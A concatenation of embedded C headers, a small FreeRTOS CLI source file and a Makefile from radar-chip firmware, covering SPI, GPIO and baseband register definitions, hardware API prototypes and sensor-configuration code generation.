#define BIT_DW_SSI_SPI_CTRLR0_RXDS_EN (1 << 18)
#define BIT_DW_SSI_SPI_CTRLR0_INST_DDR_EN (1 << 17)
#define BIT_DW_SSI_SPI_CTRLR0_SPI_DDR_EN (1 << 16)
#define BIT_DW_SSI_SPI_CTRLR0_WAIT_CYCLES_MASK (0x1F)
#define BIT_DW_SSI_SPI_CTRLR0_WAIT_CYCLES_SHIFT (11)
#define BIT_DW_SSI_SPI_CTRLR0_INS_L_MASK (0x3)
#define BIT_DW_SSI_SPI_CTRLR0_INS_L_SHIFT (8)
#define BIT_DW_SSI_SPI_CTRLR0_ADDR_L_MASK (0xF)
#define BIT_DW_SSI_SPI_CTRLR0_ADDR_L_SHIFT (2)
#define BIT_DW_SSI_SPI_CTRLR0_TRANS_TYPE_MASK (0x3)
#define BIT_DW_SSI_SPI_CTRLR0_TRANS_TYPE_SHIFT (0)
#define CLK_MODE0_SSI_CTRL0(frf, dfs32, tmod) (\
(((frf) & BITS_DW_SSI_CTRLR0_SPI_FRF_MASK) << BITS_DW_SSI_CTRLR0_SPI_FRF_SHIFT) |\
(((dfs32) & BITS_DW_SSI_CTRLR0_DFS32_MASK) << BITS_DW_SSI_CTRLR0_DFS32_SHIFT) |\
(((tmod) & BITS_DW_SSI_CTRLR0_TMOD_MASK) << BITS_DW_SSI_CTRLR0_TMOD_SHIFT)\
)
#define SSI_SPI_CTRLR0(wait_cycle, ins_len, addr_len, trans_type) (\
(((trans_type) & BIT_DW_SSI_SPI_CTRLR0_TRANS_TYPE_MASK) << BIT_DW_SSI_SPI_CTRLR0_TRANS_TYPE_SHIFT) |\
(((addr_len) & BIT_DW_SSI_SPI_CTRLR0_ADDR_L_MASK) << BIT_DW_SSI_SPI_CTRLR0_ADDR_L_SHIFT) |\
(((ins_len) & BIT_DW_SSI_SPI_CTRLR0_INS_L_MASK) << BIT_DW_SSI_SPI_CTRLR0_INS_L_SHIFT) |\
(((wait_cycle) & BIT_DW_SSI_SPI_CTRLR0_WAIT_CYCLES_MASK) << BIT_DW_SSI_SPI_CTRLR0_WAIT_CYCLES_SHIFT)\
)
#endif
<file_sep>#ifndef BASEBAND_HW_H
#define BASEBAND_HW_H
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#else
#include "embARC.h"
#include "embARC_toolchain.h"
#include "embARC_error.h"
#endif
#include "calterah_error.h"
#include "baseband_reg.h"
#include "./../../../embarc_osp/device/peripheral/nor_flash/flash.h"
/* CTRL CMD defines */
#define BB_CTRL_CMD_ENABLE 0x1
#define MAX_CFAR_OBJS MAX_OUTPUT_OBJS
#define BB_READ_REG(bb_hw, RN) baseband_read_reg(bb_hw, BB_REG_##RN)
#define BB_READ_REG_FEILD(bb_hw, RN, FD) baseband_read_regfield(bb_hw, BB_REG_##RN, BB_REG_##RN##_##FD##_SHIFT, BB_REG_##RN##_##FD##_MASK)
#define BB_WRITE_REG(bb_hw, RN, val) baseband_write_reg(bb_hw, BB_REG_##RN, val)
#define BB_MOD_REG(bb_hw, RN, FD, val) baseband_mod_reg(bb_hw, BB_REG_##RN, val, BB_REG_##RN##_##FD##_SHIFT, BB_REG_##RN##_##FD##_MASK)
#define REG_H16(data) (data >> 16) & 0xffff
#define REG_L16(data) (data >> 0) & 0xffff
#define REG_L8(data) (data >> 0) & 0xff
#ifdef UNIT_TEST
#define MDELAY(ms)
#define UDELAY(us)
#else
#define MDELAY(ms) chip_hw_mdelay(ms);
#define UDELAY(us) chip_hw_udelay(us);
#endif
#define SYS_ENA(MASK, var) (var << SYS_ENABLE_##MASK##_SHIFT)
#define HIL_AHB 0 // hil input from ahb bus
#define HIL_GPIO 1 // hil input from gpio(debug bus)
#define HIL_SIN_PERIOD 32 /* sine period used as hil input */
typedef struct baseband_hw {
uint8_t frame_type_id;
} baseband_hw_t;
uint32_t baseband_read_reg(baseband_hw_t *bb_hw, const uint32_t addr);
uint32_t baseband_read_regfield(baseband_hw_t *bb_hw, const uint32_t addr,
const uint32_t shift, const uint32_t mask);
void baseband_write_reg(baseband_hw_t *bb_hw, const uint32_t addr, const uint32_t val);
void baseband_mod_reg(baseband_hw_t *bb_hw, const uint32_t addr, const uint32_t val,
const uint32_t shift, const uint32_t mask);
void baseband_reg_dump(baseband_hw_t *bb_hw);
void baseband_tbl_dump(baseband_hw_t *bb_hw, uint32_t tbl_id, uint32_t offset, uint32_t length);
void baseband_write_mem_table(baseband_hw_t *bb_hw, uint32_t offset, uint32_t value);
uint32_t baseband_read_mem_table(baseband_hw_t *bb_hw, uint32_t offset);
uint32_t baseband_switch_mem_access(baseband_hw_t *bb_hw, uint32_t table_id);
uint32_t baseband_switch_buf_store(baseband_hw_t *bb_hw, uint32_t buf_id);
int32_t baseband_hw_init(baseband_hw_t *bb_hw);
void baseband_hw_start(baseband_hw_t *bb_hw);
void baseband_hw_start_with_params(baseband_hw_t *bb_hw, uint16_t sys_enable, uint8_t sys_irp_en);
void baseband_hw_stop(baseband_hw_t *bb_hw);
int32_t baseband_hw_dump_init(baseband_hw_t *bb_hw, bool sys_buf_store);
bool baseband_hw_is_running(baseband_hw_t *bb_hw);
uint32_t baseband_hw_get_fft_mem(baseband_hw_t *bb_hw, int ant_index, int rng_index, int vel_index, int bpm_index);
void baseband_interference_mode_set(baseband_hw_t *bb_hw);
void baseband_dc_calib_init(baseband_hw_t *bb_hw, bool leakage_ena, bool dc_calib_print_ena);
bool baseband_bist_ctrl(baseband_hw_t *bb_hw, bool print_ena);
void baseband_dac_playback(baseband_hw_t *bb_hw, bool inner_circle, uint8_t inject_num, uint8_t out_num, bool adc_dbg_en, float* peak_power);
void baseband_hil_on(baseband_hw_t *bb_hw, bool input_mux, uint8_t dmp_mux, int32_t frame_num);
void baseband_agc_dbg_reg_dump(baseband_hw_t *bb_hw, int item);
void baseband_agc_dbg_reg_store(baseband_hw_t *bb_hw, uint32_t *p_dbg_reg);
void baseband_datdump_smoke_test(baseband_hw_t *bb_hw);
void baseband_dbg_start(baseband_hw_t *bb_hw, uint8_t dbg_mux);
void baseband_frame_interleave_pattern(baseband_hw_t *bb_hw, uint8_t frame_loop_pattern);
uint32_t baseband_hw_get_sam_buf(baseband_hw_t *bb_hw, int vel_idx, int rng_idx, int ant_idx);
void baseband_interframe_power_save_init(baseband_hw_t *bb_hw);
void Txbf_bb_satur_monitor(baseband_hw_t *bb_hw, unsigned int tx_mux);
void baseband_workaroud(baseband_hw_t *bb_hw);
void baseband_hw_reset_after_force(baseband_hw_t *bb_hw);
#endif
<file_sep>#ifndef _BM_UART_H_
#define _BM_UART_H_
void uart_init(void);
int32_t uart_write(uint8_t *data, uint32_t len);
int32_t uart_read(uint8_t *data, uint32_t len);
#endif
<file_sep>#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "embARC_toolchain.h"
#include "embARC.h"
#include "embARC_error.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "board.h"
#ifdef OS_FREERTOS
#include "FreeRTOS.h"
#include "task.h"
#include "FreeRTOS_CLI.h"
#endif
#include "spis_server.h"
static uint32_t txdata[0x6000 >> 2];
static BaseType_t spis_command_handle(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
int32_t result = E_OK;
int32_t xfer_done = 0;
static uint32_t first_xfer = 0;
BaseType_t len1;
uint32_t idx, length;
const char *param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
length = (uint32_t)strtol(param1, NULL, 0);
EMBARC_PRINTF("txdata: 0x%x, length: 0x%x\r\n", (uint32_t)txdata, length);
for (idx = 0; idx < length; idx++) {
txdata[idx] = 0x12340000 + idx;
}
if (0 == first_xfer) {
first_xfer = 1;
} else {
xfer_done = spis_server_transmit_done();
}
result = spis_server_write(txdata, length);
if (E_OK != result) {
EMBARC_PRINTF("spis server write failed%d\r\n", result);
}
return pdFALSE;
}
static const CLI_Command_Definition_t spis_send_command = {
"spis_send_example",
"\rspis_send:"
"\r\n\tspis_send [length(word)]\r\n\r\n",
spis_command_handle,
-1
};
void spis_server_register(void)
{
FreeRTOS_CLIRegisterCommand(&spis_send_command);
}
<file_sep>#ifndef _CRC_OBJ_H_
#define _CRC_OBJ_H_
void *crc_get_dev(uint32_t id);
#endif
<file_sep>#ifndef _ALPS_EMU_H_
#define _ALPS_EMU_H_
#include "alps_emu_reg.h"
#include "alps_reboot_def.h"
static inline uint32_t chip_security(void)
{
return raw_readl(REG_EMU_SEC_STA);
}
static inline void reboot_cause_set(uint32_t cause)
{
raw_writel(REG_EMU_SPARED_BASE, cause);
}
static inline uint32_t reboot_cause(void)
{
return raw_readl(REG_EMU_SPARED_BASE);
}
#endif
<file_sep># Makefile for generate sensor_config related code
CONFIG_FILE ?= config.csv
all: def cmd init
# definition always uses config.csv
def : sensor_code_gen.py config.csv
@./sensor_code_gen.py -t def -o sensor_config_def.hxx config.csv
cmd : sensor_code_gen.py config.csv $(CONFIG_FILE)
@./sensor_code_gen.py -t cmd -o sensor_config_cmd.hxx $(CONFIG_FILE)
init : sensor_code_gen.py config.csv varray1.fea varray2.fea
@./sensor_code_gen.py --feature-list varray1 -t init -o sensor_config_init0.hxx $(CONFIG_FILE) --final-cfg varray1.tmp.csv
@./sensor_code_gen.py --feature-list varray2 -t init -o sensor_config_init_varray2.hxx $(CONFIG_FILE) --final-cfg varray2.tmp.csv
@./sensor_code_gen.py --feature-list varray2_1 -t init -o sensor_config_init_varray2_1.hxx $(CONFIG_FILE) --final-cfg varray2_1.tmp.csv
@./sensor_code_gen.py --feature-list varray3 -t init -o sensor_config_init_varray3.hxx $(CONFIG_FILE) --final-cfg varray3.tmp.csv
@./sensor_code_gen.py --feature-list varray4 -t init -o sensor_config_init_varray4.hxx $(CONFIG_FILE) --final-cfg varray4.tmp.csv
@./sensor_code_gen.py --feature-list varray5 -t init -o sensor_config_init1.hxx $(CONFIG_FILE) --final-cfg varray5.tmp.csv
@./sensor_code_gen.py --feature-list init2 -t init -o sensor_config_init2.hxx $(CONFIG_FILE) --final-cfg init2.tmp.csv
@./sensor_code_gen.py --feature-list init3 -t init -o sensor_config_init3.hxx $(CONFIG_FILE) --final-cfg init3.tmp.csv
@./sensor_code_gen.py --feature-list cas_varray2 -t init -o sensor_config_init1_cas.hxx $(CONFIG_FILE) --final-cfg init1_cas.tmp.csv
@./sensor_code_gen.py --feature-list cas_varray1 -t init -o sensor_config_init0_cas.hxx $(CONFIG_FILE) --final-cfg init0_cas.tmp.csv
clean:
@rm -f sensor_config_init*.hxx
@rm -f sensor_config_cmd.hxx
@rm -f sensor_config_def.hxx
<file_sep>#ifndef CMD_REG_H
#define CMD_REG_H
#if defined(CHIP_ALPS_A)
#include "alps_a_radio_spi_cmd_reg.h"
#else //CHIP_ALPS_MP
#include "alps_mp_radio_spi_cmd_reg.h"
#endif
#endif
<file_sep>#ifndef _DW_GPIO_REG_H_
#define _DW_GPIO_REG_H_
#define REG_DW_GPIO_SWPORTA_DR_OFFSET (0x0000)
#define REG_DW_GPIO_SWPORTA_DDR_OFFSET (0x0004)
#define REG_DW_GPIO_SWPORTA_CTL_OFFSET (0x0008)
#define REG_DW_GPIO_SWPORTB_DR_OFFSET (0x000c)
#define REG_DW_GPIO_SWPORTB_DDR_OFFSET (0x0010)
#define REG_DW_GPIO_SWPORTB_CTL_OFFSET (0x0014)
#define REG_DW_GPIO_SWPORTC_DR_OFFSET (0x0018)
#define REG_DW_GPIO_SWPORTC_DDR_OFFSET (0x001c)
#define REG_DW_GPIO_SWPORTC_CTL_OFFSET (0x0020)
#define REG_DW_GPIO_SWPORTD_DR_OFFSET (0x0024)
#define REG_DW_GPIO_SWPORTD_DDR_OFFSET (0x0028)
#define REG_DW_GPIO_SWPORTD_CTL_OFFSET (0x002c)
#define REG_DW_GPIO_INTEN_OFFSET (0x0030)
#define REG_DW_GPIO_INTMASK_OFFSET (0x0034)
#define REG_DW_GPIO_INTTYPE_LEVEL_OFFSET (0x0038)
#define REG_DW_GPIO_INTPOLARITY_OFFSET (0x003c)
#define REG_DW_GPIO_INTSTATUS_OFFSET (0x0040)
#define REG_DW_GPIO_RAW_INTSTATUS_OFFSET (0x0044)
#define REG_DW_GPIO_DEBOUNCE_OFFSET (0x0048)
#define REG_DW_GPIO_PORTA_EOI_OFFSET (0x004C)
#define REG_DW_GPIO_EXT_PORTA_OFFSET (0x0050)
#define REG_DW_GPIO_EXT_PORTB_OFFSET (0x0054)
#define REG_DW_GPIO_EXT_PORTC_OFFSET (0x0058)
#define REG_DW_GPIO_EXT_PORTD_OFFSET (0x005c)
#define REG_DW_GPIO_LS_SYNC_OFFSET (0x0060)
#define REG_DW_GPIO_ID_CODE_OFFSET (0x0064)
#define REG_DW_GPIO_INT_BOTHEDGE_OFFSET (0x0068)
#define REG_DW_GPIO_VER_ID_CODE_OFFSET (0x006c)
#define REG_DW_GPIO_CONFIG2_OFFSET (0x0070)
#define REG_DW_GPIO_CONFIG1_OFFSET (0x0074)
/* config register1. */
#define BIT_DW_GPIO_CONFIG1_INT_BOTH_EDGE_TYPE (1 << 21)
#define BITS_DW_GPIO_CONFIG1_EID_IDWIDTH_MASK (0x1F)
#define BITS_DW_GPIO_CONFIG1_EID_IDWIDTH_SHIFT (16)
#define BIT_DW_GPIO_CONFIG1_GPIO_ID (1 << 15)
#define BIT_DW_GPIO_CONFIG1_ADD_ENCODED_PARAMS (1 << 14)
#define BIT_DW_GPIO_CONFIG1_DEBOUNCE (1 << 13)
#define BIT_DW_GPIO_CONFIG1_PORTA_INTR (1 << 12)
#define BIT_DW_GPIO_CONFIG1_HW_PORTD (1 << 11)
#define BIT_DW_GPIO_CONFIG1_HW_PORTC (1 << 10)
#define BIT_DW_GPIO_CONFIG1_HW_PORTB (1 << 9)
#define BIT_DW_GPIO_CONFIG1_HW_PORTA (1 << 8)
#define BIT_DW_GPIO_CONFIG1_PORTD_SGL_CTL (1 << 7)
#define BIT_DW_GPIO_CONFIG1_PORTC_SGL_CTL (1 << 6)
#define BIT_DW_GPIO_CONFIG1_PORTB_SGL_CTL (1 << 5)
#define BIT_DW_GPIO_CONFIG1_PORTA_SGL_CTL (1 << 4)
#define BITS_DW_GPIO_CONFIG1_NUM_PORTS_MASK (0x3)
#define BITS_DW_GPIO_CONFIG1_NUM_PORTS_SHIFT (2)
#define BITS_DW_GPIO_CONFIG1_APB_DWIDTH_MASK (0x3)
#define BITS_DW_GPIO_CONFIG1_APB_DWIDTH_SHIFT (0)
/* config register2. */
#define BITS_DW_GPIO_CONFIG2_EID_PWIDTH_D_MASK (0x1F)
#define BITS_DW_GPIO_CONFIG2_EID_PWIDTH_D_SHIFT (15)
#define BITS_DW_GPIO_CONFIG2_EID_PWIDTH_C_MASK (0x1F)
#define BITS_DW_GPIO_CONFIG2_EID_PWIDTH_C_SHIFT (10)
#define BITS_DW_GPIO_CONFIG2_EID_PWIDTH_B_MASK (0x1F)
#define BITS_DW_GPIO_CONFIG2_EID_PWIDTH_B_SHIFT (5)
#define BITS_DW_GPIO_CONFIG2_EID_PWIDTH_A_MASK (0x1F)
#define BITS_DW_GPIO_CONFIG2_EID_PWIDTH_A_SHIFT (0)
#endif
<file_sep>#ifndef BASEBAND_ALPS_FM_REG_H
#define BASEBAND_ALPS_FM_REG_H
/*--- ADDRESS ------------------------*/
#define BB_REG_BASEADDR 0xC00000
#define BB_REG_SYS_BASEADDR (BB_REG_BASEADDR+0x000)
#define BB_REG_AGC_BASEADDR (BB_REG_BASEADDR+0x200)
#define BB_REG_SAM_BASEADDR (BB_REG_BASEADDR+0x400)
#define BB_REG_FFT_BASEADDR (BB_REG_BASEADDR+0x600)
#define BB_REG_CFR_BASEADDR (BB_REG_BASEADDR+0x800)
#define BB_REG_DOA_BASEADDR (BB_REG_BASEADDR+0xa00)
#define BB_REG_DBG_BASEADDR (BB_REG_BASEADDR+0xc00)
#define BB_REG_DML_BASEADDR (BB_REG_BASEADDR+0xe00)
/*sys register*/
#define BB_REG_SYS_START (BB_REG_SYS_BASEADDR+0x0)
#define BB_REG_SYS_BNK_MODE (BB_REG_SYS_BASEADDR+0x4)
#define BB_REG_SYS_BNK_ACT (BB_REG_SYS_BASEADDR+0x8)
#define BB_REG_SYS_BNK_QUE (BB_REG_SYS_BASEADDR+0xC)
#define BB_REG_SYS_BNK_RST (BB_REG_SYS_BASEADDR+0x10)
#define BB_REG_SYS_MEM_ACT (BB_REG_SYS_BASEADDR+0x14)
#define BB_REG_SYS_ENABLE (BB_REG_SYS_BASEADDR+0x18)
#define BB_REG_SYS_TYPE_FMCW (BB_REG_SYS_BASEADDR+0x1C)
#define BB_REG_SYS_SIZE_RNG_PRD (BB_REG_SYS_BASEADDR+0x20)
#define BB_REG_SYS_SIZE_FLT (BB_REG_SYS_BASEADDR+0x24)
#define BB_REG_SYS_SIZE_RNG_SKP (BB_REG_SYS_BASEADDR+0x28)
#define BB_REG_SYS_SIZE_RNG_BUF (BB_REG_SYS_BASEADDR+0x2C)
#define BB_REG_SYS_SIZE_RNG_FFT (BB_REG_SYS_BASEADDR+0x30)
#define BB_REG_SYS_SIZE_BPM (BB_REG_SYS_BASEADDR+0x34)
#define BB_REG_SYS_SIZE_VEL_BUF (BB_REG_SYS_BASEADDR+0x38)
#define BB_REG_SYS_SIZE_VEL_FFT (BB_REG_SYS_BASEADDR+0x3C)
#define BB_REG_SYS_FRMT_ADC (BB_REG_SYS_BASEADDR+0x40)
#define BB_REG_SYS_IRQ_ENA (BB_REG_SYS_BASEADDR+0x44)
#define BB_REG_SYS_IRQ_CLR (BB_REG_SYS_BASEADDR+0x48)
#define BB_REG_SYS_ECC_ENA (BB_REG_SYS_BASEADDR+0x4C)
#define BB_REG_SYS_ECC_SB_CLR (BB_REG_SYS_BASEADDR+0x50)
#define BB_REG_SYS_ECC_DB_CLR (BB_REG_SYS_BASEADDR+0x54)
#define BB_REG_SYS_TYP_ARB (BB_REG_SYS_BASEADDR+0x58)
#define BB_REG_SYS_STATUS (BB_REG_SYS_BASEADDR+0x5C)
#define BB_REG_FDB_SYS_BNK_ACT (BB_REG_SYS_BASEADDR+0x60)
#define BB_REG_SYS_IRQ_STATUS (BB_REG_SYS_BASEADDR+0x64)
#define BB_REG_SYS_ECC_SB_STATUS (BB_REG_SYS_BASEADDR+0x68)
#define BB_REG_SYS_ECC_DB_STATUS (BB_REG_SYS_BASEADDR+0x6C)
/*AGC regesiter*/
#define BB_REG_AGC_SAT_THR_TIA (BB_REG_AGC_BASEADDR+0x00)
#define BB_REG_AGC_SAT_THR_VGA1 (BB_REG_AGC_BASEADDR+0x04)
#define BB_REG_AGC_SAT_THR_VGA2 (BB_REG_AGC_BASEADDR+0x08)
#define BB_REG_AGC_SAT_CNT_CLR_FRA (BB_REG_AGC_BASEADDR+0x0C)
#define BB_REG_AGC_DAT_MAX_SEL (BB_REG_AGC_BASEADDR+0x10)
#define BB_REG_AGC_CODE_LNA_0 (BB_REG_AGC_BASEADDR+0x14)
#define BB_REG_AGC_CODE_LNA_1 (BB_REG_AGC_BASEADDR+0x18)
#define BB_REG_AGC_CODE_TIA_0 (BB_REG_AGC_BASEADDR+0x1C)
#define BB_REG_AGC_CODE_TIA_1 (BB_REG_AGC_BASEADDR+0x20)
#define BB_REG_AGC_CODE_TIA_2 (BB_REG_AGC_BASEADDR+0x24)
#define BB_REG_AGC_CODE_TIA_3 (BB_REG_AGC_BASEADDR+0x28)
#define BB_REG_AGC_GAIN_MIN (BB_REG_AGC_BASEADDR+0x2C)
#define BB_REG_AGC_CDGN_INIT (BB_REG_AGC_BASEADDR+0x30)
#define BB_REG_AGC_CDGN_C0_0 (BB_REG_AGC_BASEADDR+0x34)
#define BB_REG_AGC_CDGN_C0_1 (BB_REG_AGC_BASEADDR+0x38)
#define BB_REG_AGC_CDGN_C0_2 (BB_REG_AGC_BASEADDR+0x3C)
#define BB_REG_AGC_CDGN_C1_0 (BB_REG_AGC_BASEADDR+0x40)
#define BB_REG_AGC_CDGN_C1_1 (BB_REG_AGC_BASEADDR+0x44)
#define BB_REG_AGC_CDGN_C1_2 (BB_REG_AGC_BASEADDR+0x48)
#define BB_REG_AGC_CDGN_C1_3 (BB_REG_AGC_BASEADDR+0x4C)
#define BB_REG_AGC_CDGN_C1_4 (BB_REG_AGC_BASEADDR+0x50)
#define BB_REG_AGC_CDGN_C1_5 (BB_REG_AGC_BASEADDR+0x54)
#define BB_REG_AGC_CDGN_C1_6 (BB_REG_AGC_BASEADDR+0x58)
#define BB_REG_AGC_CDGN_C1_7 (BB_REG_AGC_BASEADDR+0x5C)
#define BB_REG_AGC_CDGN_C1_8 (BB_REG_AGC_BASEADDR+0x60)
#define BB_REG_AGC_CHCK_ENA (BB_REG_AGC_BASEADDR+0x64)
#define BB_REG_AGC_ALIGN_EN (BB_REG_AGC_BASEADDR+0x68)
#define BB_REG_AGC_CMPN_EN (BB_REG_AGC_BASEADDR+0x6C)
#define BB_REG_AGC_CMPN_ALIGN_EN (BB_REG_AGC_BASEADDR+0x70)
#define BB_REG_AGC_CMPN_LVL (BB_REG_AGC_BASEADDR+0x74)
#define BB_REG_AGC_DB_TARGET (BB_REG_AGC_BASEADDR+0x78)
#define BB_REG_AGC_IRQ_ENA (BB_REG_AGC_BASEADDR+0x7C)
#define BB_REG_AGC_IRQ_CLR (BB_REG_AGC_BASEADDR+0x80)
#define BB_REG_AGC_COD_C0 (BB_REG_AGC_BASEADDR+0x84)
#define BB_REG_AGC_COD_C1 (BB_REG_AGC_BASEADDR+0x88)
#define BB_REG_AGC_COD_C2 (BB_REG_AGC_BASEADDR+0x8C)
#define BB_REG_AGC_COD_C3 (BB_REG_AGC_BASEADDR+0x90)
#define BB_REG_AGC_SAT_CNT_TIA__C0 (BB_REG_AGC_BASEADDR+0x94)
#define BB_REG_AGC_SAT_CNT_TIA__C1 (BB_REG_AGC_BASEADDR+0x98)
#define BB_REG_AGC_SAT_CNT_TIA__C2 (BB_REG_AGC_BASEADDR+0x9C)
#define BB_REG_AGC_SAT_CNT_TIA__C3 (BB_REG_AGC_BASEADDR+0xA0)
#define BB_REG_AGC_SAT_CNT_VGA1_C0 (BB_REG_AGC_BASEADDR+0xA4)
#define BB_REG_AGC_SAT_CNT_VGA1_C1 (BB_REG_AGC_BASEADDR+0xA8)
#define BB_REG_AGC_SAT_CNT_VGA1_C2 (BB_REG_AGC_BASEADDR+0xAC)
#define BB_REG_AGC_SAT_CNT_VGA1_C3 (BB_REG_AGC_BASEADDR+0xB0)
#define BB_REG_AGC_SAT_CNT_VGA2_C0 (BB_REG_AGC_BASEADDR+0xB4)
#define BB_REG_AGC_SAT_CNT_VGA2_C1 (BB_REG_AGC_BASEADDR+0xB8)
#define BB_REG_AGC_SAT_CNT_VGA2_C2 (BB_REG_AGC_BASEADDR+0xBC)
#define BB_REG_AGC_SAT_CNT_VGA2_C3 (BB_REG_AGC_BASEADDR+0xC0)
#define BB_REG_AGC_DAT_MAX_1ST_C0 (BB_REG_AGC_BASEADDR+0xC4)
#define BB_REG_AGC_DAT_MAX_1ST_C1 (BB_REG_AGC_BASEADDR+0xC8)
#define BB_REG_AGC_DAT_MAX_1ST_C2 (BB_REG_AGC_BASEADDR+0xCC)
#define BB_REG_AGC_DAT_MAX_1ST_C3 (BB_REG_AGC_BASEADDR+0xD0)
#define BB_REG_AGC_DAT_MAX_2ND_C0 (BB_REG_AGC_BASEADDR+0xD4)
#define BB_REG_AGC_DAT_MAX_2ND_C1 (BB_REG_AGC_BASEADDR+0xD8)
#define BB_REG_AGC_DAT_MAX_2ND_C2 (BB_REG_AGC_BASEADDR+0xDC)
#define BB_REG_AGC_DAT_MAX_2ND_C3 (BB_REG_AGC_BASEADDR+0xE0)
#define BB_REG_AGC_DAT_MAX_3RD_C0 (BB_REG_AGC_BASEADDR+0xE4)
#define BB_REG_AGC_DAT_MAX_3RD_C1 (BB_REG_AGC_BASEADDR+0xE8)
#define BB_REG_AGC_DAT_MAX_3RD_C2 (BB_REG_AGC_BASEADDR+0xEC)
#define BB_REG_AGC_DAT_MAX_3RD_C3 (BB_REG_AGC_BASEADDR+0xF0)
#define BB_REG_AGC_IRQ_STATUS (BB_REG_AGC_BASEADDR+0xF4)
/*SAM register*/
#define BB_REG_SAM_SINKER (BB_REG_SAM_BASEADDR+0x00)
#define BB_REG_SAM_F_0_S1 (BB_REG_SAM_BASEADDR+0x04)
#define BB_REG_SAM_F_0_B1 (BB_REG_SAM_BASEADDR+0x08)
#define BB_REG_SAM_F_0_A1 (BB_REG_SAM_BASEADDR+0x0C)
#define BB_REG_SAM_F_0_A2 (BB_REG_SAM_BASEADDR+0x10)
#define BB_REG_SAM_F_1_S1 (BB_REG_SAM_BASEADDR+0x14)
#define BB_REG_SAM_F_1_B1 (BB_REG_SAM_BASEADDR+0x18)
#define BB_REG_SAM_F_1_A1 (BB_REG_SAM_BASEADDR+0x1C)
#define BB_REG_SAM_F_1_A2 (BB_REG_SAM_BASEADDR+0x20)
#define BB_REG_SAM_F_2_S1 (BB_REG_SAM_BASEADDR+0x24)
#define BB_REG_SAM_F_2_B1 (BB_REG_SAM_BASEADDR+0x28)
#define BB_REG_SAM_F_2_A1 (BB_REG_SAM_BASEADDR+0x2C)
#define BB_REG_SAM_F_2_A2 (BB_REG_SAM_BASEADDR+0x30)
#define BB_REG_SAM_F_3_S1 (BB_REG_SAM_BASEADDR+0x34)
#define BB_REG_SAM_F_3_B1 (BB_REG_SAM_BASEADDR+0x38)
#define BB_REG_SAM_F_3_A1 (BB_REG_SAM_BASEADDR+0x3C)
#define BB_REG_SAM_F_3_A2 (BB_REG_SAM_BASEADDR+0x40)
#define BB_REG_SAM_FNL_SHF (BB_REG_SAM_BASEADDR+0x44)
#define BB_REG_SAM_FNL_SCL (BB_REG_SAM_BASEADDR+0x48)
#define BB_REG_SAM_DINT_ENA (BB_REG_SAM_BASEADDR+0x4C)
#define BB_REG_SAM_DINT_MOD (BB_REG_SAM_BASEADDR+0x50)
#define BB_REG_SAM_DINT_SET (BB_REG_SAM_BASEADDR+0x54)
#define BB_REG_SAM_DINT_DAT (BB_REG_SAM_BASEADDR+0x58)
#define BB_REG_SAM_DINT_MSK (BB_REG_SAM_BASEADDR+0x5C)
#define BB_REG_SAM_DAMB_PRD (BB_REG_SAM_BASEADDR+0x60)
#define BB_REG_SAM_FORCE (BB_REG_SAM_BASEADDR+0x64)
#define BB_REG_SAM_DBG_SRC (BB_REG_SAM_BASEADDR+0x68)
#define BB_REG_SAM_SIZE_DBG_BGN (BB_REG_SAM_BASEADDR+0x6C)
#define BB_REG_SAM_SIZE_DBG_END (BB_REG_SAM_BASEADDR+0x70)
#define BB_REG_SAM_SPK_RM_EN (BB_REG_SAM_BASEADDR+0x74)
#define BB_REG_SAM_SPK_CFM_SIZE (BB_REG_SAM_BASEADDR+0x78)
#define BB_REG_SAM_SPK_SET_ZERO (BB_REG_SAM_BASEADDR+0x7C)
#define BB_REG_SAM_SPK_OVER_NUM (BB_REG_SAM_BASEADDR+0x80)
#define BB_REG_SAM_SPK_THRES_DBL (BB_REG_SAM_BASEADDR+0x84)
#define BB_REG_SAM_SPK_MIN_MAX_SEL (BB_REG_SAM_BASEADDR+0x88)
#define BB_REG_FDB_SAM_DINT_DAT (BB_REG_SAM_BASEADDR+0x8C)
/*FFT register*/
#define BB_REG_FFT_SHFT_RNG (BB_REG_FFT_BASEADDR+0x00)
#define BB_REG_FFT_SHFT_VEL (BB_REG_FFT_BASEADDR+0x04)
#define BB_REG_FFT_DBPM_ENA (BB_REG_FFT_BASEADDR+0x08)
#define BB_REG_FFT_DBPM_DIR (BB_REG_FFT_BASEADDR+0x0C)
#define BB_REG_FFT_DAMB_ENA (BB_REG_FFT_BASEADDR+0x10)
#define BB_REG_FFT_DINT_ENA (BB_REG_FFT_BASEADDR+0x14)
#define BB_REG_FFT_DINT_MOD (BB_REG_FFT_BASEADDR+0x18)
#define BB_REG_FFT_DINT_SET (BB_REG_FFT_BASEADDR+0x1C)
#define BB_REG_FFT_DINT_DAT_FH (BB_REG_FFT_BASEADDR+0x20)
#define BB_REG_FFT_DINT_DAT_CS (BB_REG_FFT_BASEADDR+0x24)
#define BB_REG_FFT_DINT_DAT_PS (BB_REG_FFT_BASEADDR+0x28)
#define BB_REG_FFT_DINT_MSK_FH (BB_REG_FFT_BASEADDR+0x2C)
#define BB_REG_FFT_DINT_MSK_CS (BB_REG_FFT_BASEADDR+0x30)
#define BB_REG_FFT_DINT_MSK_PS (BB_REG_FFT_BASEADDR+0x34)
#define BB_REG_FFT_DINT_COE_FH (BB_REG_FFT_BASEADDR+0x38)
#define BB_REG_FFT_DINT_COE_CS (BB_REG_FFT_BASEADDR+0x3C)
#define BB_REG_FFT_DINT_COE_FC (BB_REG_FFT_BASEADDR+0x40)
#define BB_REG_FFT_DINT_COE_PS_0 (BB_REG_FFT_BASEADDR+0x44)
#define BB_REG_FFT_DINT_COE_PS_1 (BB_REG_FFT_BASEADDR+0x48)
#define BB_REG_FFT_DINT_COE_PS_2 (BB_REG_FFT_BASEADDR+0x4C)
#define BB_REG_FFT_DINT_COE_PS_3 (BB_REG_FFT_BASEADDR+0x50)
#define BB_REG_FFT_NO_WIN (BB_REG_FFT_BASEADDR+0x54)
#define BB_REG_FFT_NVE_MODE (BB_REG_FFT_BASEADDR+0x58)
#define BB_REG_FFT_NVE_SCL_0 (BB_REG_FFT_BASEADDR+0x5C)
#define BB_REG_FFT_NVE_SCL_1 (BB_REG_FFT_BASEADDR+0x60)
#define BB_REG_FFT_NVE_SFT (BB_REG_FFT_BASEADDR+0x64)
#define BB_REG_FFT_NVE_CH_MSK (BB_REG_FFT_BASEADDR+0x68)
